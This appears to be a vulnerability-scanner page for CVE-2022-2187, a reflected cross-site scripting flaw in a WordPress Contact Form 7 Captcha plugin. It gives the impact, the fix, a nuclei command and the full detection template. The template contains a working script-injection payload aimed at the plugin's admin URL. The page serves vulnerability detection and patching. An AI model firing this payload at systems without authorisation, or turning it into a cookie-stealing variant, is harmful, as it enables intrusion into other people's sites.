WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

WordPress Contact Form 7 Captcha plugin before 0.1.2 contains a reflected cross-site scripting vulnerability. It does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update the WordPress Contact Form 7 Captcha plugin to version 0.1.2 or later to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/options-general.php?page=cf7sr_edit&"></script><script>alert(document.domain)</script>
Positive when: contains "</script><script>alert(document.domain)</script>" and "Contact Form 7" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-2187 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-2187

info:
  name: WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting
  author: For3stCo1d
  severity: medium
  description: |
    WordPress Contact Form 7 Captcha plugin before 0.1.2 contains a reflected cross-site scripting vulnerability. It does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update the WordPress Contact Form 7 Captcha plugin to version 0.1.2 or later to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4fd2f1ef-39c6-4425-8b4d-1a332dabac8d
    - https://wordpress.org/plugins/contact-form-7-simple-recaptcha
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2187
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2187
    cwe-id: CWE-79
    epss-score: 0.01486
    epss-percentile: 0.74253
    cpe: cpe:2.3:a:contact_form_7_captcha_project:contact_form_7_captcha:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: contact_form_7_captcha_project
    product: contact_form_7_captcha
    framework: wordpress
  tags: cve,cve2022,wpscan,wordpress,xss,wp-plugin,wp,contact_form_7_captcha_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/options-general.php?page=cf7sr_edit&"></script><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "Contact Form 7"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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